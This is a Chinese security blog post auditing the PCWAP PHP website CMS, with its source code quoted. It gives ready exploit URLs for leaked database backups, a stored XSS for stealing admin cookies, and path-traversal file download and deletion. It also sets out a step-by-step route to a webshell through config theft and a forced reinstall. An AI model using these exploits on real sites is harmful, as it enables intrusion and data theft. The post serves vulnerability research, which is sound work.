[代码审计]PCWAP

为什么想要审计这套源码呐?之前看到某大佬在做反钓鱼网站的时候,发现钓鱼网站的后台用的就是PCWAP,所以我觉得有必要审计一下,顺便记录,打击网络犯罪!

0x00 PCAWAP:

PCWAP手机网站建站平台是一套可以实现PC和WAP手机版网站同一后台管理的PHP免费开源手机建站CMS系统。我简单看了一下,和ThinkPHP差不多的结构。

PCWAP官网下载地址:http://www.pcwap.cn/1.html

下面我简单根据漏洞类型来审计…

小东在审计的过程中,发现有很多的漏洞,不好文字描述,所以下面的东西,复杂的,就直接给出 EXP


0X01 敏感信息泄漏:

1.安装完成后,虽然不存在重装漏洞,但是并未删除Install/pcwap.sql文件,导致数据库字段信息泄漏

2.默认后台路径:http://www.test.com/index.php?s=/Admin

3.默认数据库备份文件地址:
http://www.test.com/Data/pcwap.sql

http://www.test.com/index.php?Data/pcwap_admin.sql

如果没对这个目录做限制,有这两个东西,还不是…

备份数据库任意下载

4.默认是开启了Debug模式,当访问不存在的模块时,会爆出绝对路径。

EXP: http://www.test.com/index.php?s=/9%27
EXP: http://www.test.com/Lib/Action/EmptyAction.class.php


0x02 XSS:

首先来到留言板,黑盒留言测试

火狐浏览器作为管理员已登录,来到后台查看评论就弹窗:

XSS测试

这样一个存储性XSS就确定存在了,可以打到管理员的cookie

Tpl\Admin\Message\index.html 其中的留言等各个参数都是直接以变量输出,未做过滤,那么再去看看存入数据库的呐?

Lib\Action\Home\MessageAction.class.php

<?php
class MessageAction extends CommAction {
    public function index(){    

        if($this->ispost()){            

                if(session('code') != md5(htmlspecialchars(addslashes($_POST['code']),ENT_QUOTES))){
                    $this->error('验证码错误');
                }    
                if($_POST['title']==false ){
                $this->error('标题不能为空');
                }    
                if($_POST['username']==false ){
                $this->error('姓名不能为空');
                }    
                if($_POST['mail']==false ){
                $this->error('邮箱不能为空');
                }    
                if($_POST['content']==false ){
                $this->error('内容不能为空');
                }    
                $data=$_POST;
                $data['time']=time();
                if(M('message')->data($data)->add()){
                $this->success('留言成功');
                }else{
                $this->error('留言失败');
            }

        }else{
            $this->display();
        }
    }        
}

//data() 函数
public function data($data=''){
    if('' === $data && !empty($this->data)) {
    return $this->data;
}
    if(is_object($data)){
    $data   =   get_object_vars($data);
}elseif(is_string($data)){
    parse_str($data,$data);
}elseif(!is_array($data)){
    throw_exception(L('_DATA_TYPE_INVALID_'));
}
$this->data = $data;
return $this;
}

data() 函数只是将字符串格式化,add() 函数写入数据库…

不只是XSS,还有可能存在SQL注入呐~


0x03 SQL注入:

Common\common.php 中看到过滤函数

function inject_check($sql_str) {
    return eregi ( 'select|inert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|UNION|into|load_file|outfile', $sql_str );
}

有上面这个函数调用的话,就不存在什么注入了!

直接看登陆是否存在SQL注入,这样就可以绕过了!

登录验证在\Lib\Action\Admin\LoginAction.class.php

是做了过滤的。

继续看看留言板!这是用户和后台交互的地方!

MYSQL数据库监控得到如下结果:

MYSQL监控

这里做了转义,再看看代码!

data() 函数:

/**
 * 设置数据对象值
 * @access public
 * @param mixed $data 数据
 * @return Model
 */
public function data($data=''){
    if('' === $data && !empty($this->data)) {
        return $this->data;
    }
    if(is_object($data)){
        $data   =   get_object_vars($data);
    }elseif(is_string($data)){
        parse_str($data,$data); //在GPC开启下会调用addslashes() 转义函数
    }elseif(!is_array($data)){
        throw_exception(L('_DATA_TYPE_INVALID_'));
    }
    $this->data = $data;
    return $this;
}

再看 add() 函数:

 * 新增数据
 * @access public
 * @param mixed $data 数据
 * @param array $options 表达式
 * @param boolean $replace 是否replace
 * @return mixed
 */
public function add($data='',$options=array(),$replace=false) {
    if(empty($data)) {
        // 没有传递数据,获取当前数据对象的值
        if(!empty($this->data)) {
            $data           =   $this->data;
            // 重置数据
            $this->data     = array();
        }else{
            $this->error    = L('_DATA_TYPE_INVALID_');
            return false;
        }
    }
    // 分析表达式
    $options    =   $this->_parseOptions($options);
    // 数据处理
    $data       =   $this->_facade($data);
    if(false === $this->_before_insert($data,$options)) {
        return false;
    }
    // 写入数据到数据库
    $result = $this->db->insert($data,$options,$replace);
    if(false !== $result ) {
        $insertId   =   $this->getLastInsID();
        if($insertId) {
            // 自增主键返回插入ID
            $data[$this->getPk()]  = $insertId;
            $this->_after_insert($data,$options);
            return $insertId;
        }
        $this->_after_insert($data,$options);
    }
    return $result;
}

再追溯 insert() 函数:

 * 插入记录
 * @access public
 * @param mixed $data 数据
 * @param array $options 参数表达式
 * @param boolean $replace 是否replace
 * @return false | integer
 */
public function insert($data,$options=array(),$replace=false) {
    $values  =  $fields    = array();
    $this->model  =   $options['model'];
    foreach ($data as $key=>$val){
        if(is_array($val) && 'exp' == $val[0]){
            $fields[]   =  $this->parseKey($key);
            $values[]   =  $val[1];
        }elseif(is_scalar($val) || is_null(($val))) { // 过滤非标量数据
          $fields[]   =  $this->parseKey($key);
          if(C('DB_BIND_PARAM') && 0 !== strpos($val,':')){
            $name       =   md5($key);
            $values[]   =   ':'.$name;
            $this->bindParam($name,$val);
          }else{
            $values[]   =  $this->parseValue($val);
          }                
        }
    }
    $sql   =  ($replace?'REPLACE':'INSERT').' INTO '.$this->parseTable($options['table']).' ('.implode(',', $fields).') VALUES ('.implode(',', $values).')';
    $sql   .= $this->parseLock(isset($options['lock'])?$options['lock']:false);
    $sql   .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
    return $this->execute($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
}

进一步看 parserKey() 函数:

/**
 * 字段和表名处理添加`
 * @access protected
 * @param string $key
 * @return string
 */
protected function parseKey(&$key) {
    $key   =  trim($key);
    if(!preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
       $key = '`'.$key.'`';
    }
    return $key;
}

原来是在 before_insert() 函数,做了转义:

 * 对保存到数据库的数据进行处理
 * @access protected
 * @param mixed $data 要操作的数据
 * @return boolean
 */
 protected function _facade($data) {
    // 检查非数据字段
    if(!empty($this->fields)) {
        foreach ($data as $key=>$val){
            if(!in_array($key,$this->fields,true)){
                unset($data[$key]);
            }elseif(is_scalar($val)) {
                // 字段类型检查
                $this->_parseType($data,$key);
            }
        }
    }
    // 安全过滤
    if(!empty($this->options['filter'])) {
        $data = array_map($this->options['filter'],$data);
        unset($this->options['filter']);
    }
    $this->_before_write($data);
    return $data;
 }

OJBK,此处没有注入!

0x04 任意文件下载:

function downloadBak() {
        $file_name = $_GET['file'];
        $file_dir = $this->config['path'];
        if (!file_exists($file_dir . "/" . $file_name)) { //检查文件是否存在
            return false;
            exit;
        } else {
            $file = fopen($file_dir . "/" . $file_name, "r"); // 打开文件
            // 输入文件标签
            header('Content-Encoding: none');
            header("Content-type: application/octet-stream");
            header("Accept-Ranges: bytes");
            header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
            header('Content-Transfer-Encoding: binary');
            header("Content-Disposition: attachment; filename=" . $file_name);  //以真实文件名提供给浏览器下载
            header('Pragma: no-cache');
            header('Expires: 0');
            //输出文件内容
            echo fread($file, filesize($file_dir . "/" . $file_name));
            fclose($file);
            exit;
        }
    }

EXP:http://www.test.com/index.php?s=/Admin/Sqlback/downloadBak/file/..\index.php

这样就可以下载任意文件,但是需要管理员权限~

来看看权限验证吧!

public function _initialize(){
    if(session('adminuser')!=C('webuser')){
        $this->error('你没有权限',U('/Admin/Index/home'));
    }
}

验证的是session,没办法绕过!这个漏洞只有在后台可利用!

0x05 任意文件删除:

//删除数据备份
    function deletebak() {
        if (unlink($this->config['path'] . $this->dir_sep . $_GET['file'])) {
            $this->success('删除备份成功!');
        } else {
            $this->error('删除备份失败!');
        }
    }

EXP: http://www.test.com/index.php?s=/Admin/Sqlback/deletebak/file/..\index.php

同样需要管理员的权限!

再看了一下命令注入,也没法儿利用…

0x06 总结:

虽然此次审计没发现什么特别致命的东西,如果想要 getshell 有这样的方法!

1.首先就是需要管理员权限,(弱口令第一考虑,其次就是 XSS 打管理员 Cookie )

2.通过任意文件下载网站配置信息:http://www.test.com/index.php?s=/Admin/Sqlback/downloadBak/file/..\Conf\pcwap.php ,可以得到网站配置信息(数据库连接信息),这里可通过 Mysql 写文件拿到shell,(网站的物理路径可通过报错信息得到)

3.通过任意文件删除漏洞,删除文件配置文件可重装:http://www.test.com/index.php?s=/Admin/Sqlback/deletebak/file/..\Conf\pcwap.php ,即可重装,然后安装到自己的远程数据库,MYSQL 写 Shell 即可。

就这样吧~

发表评论 / Comment

用心评论~

金玉良言 / Appraise
雨滴LV 1
2019-04-30 23:50
官网都没了~

Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/blog.dyboy.cn/content/templates/dyblog/footer.php:56) in /www/wwwroot/blog.dyboy.cn/include/lib/view.php on line 23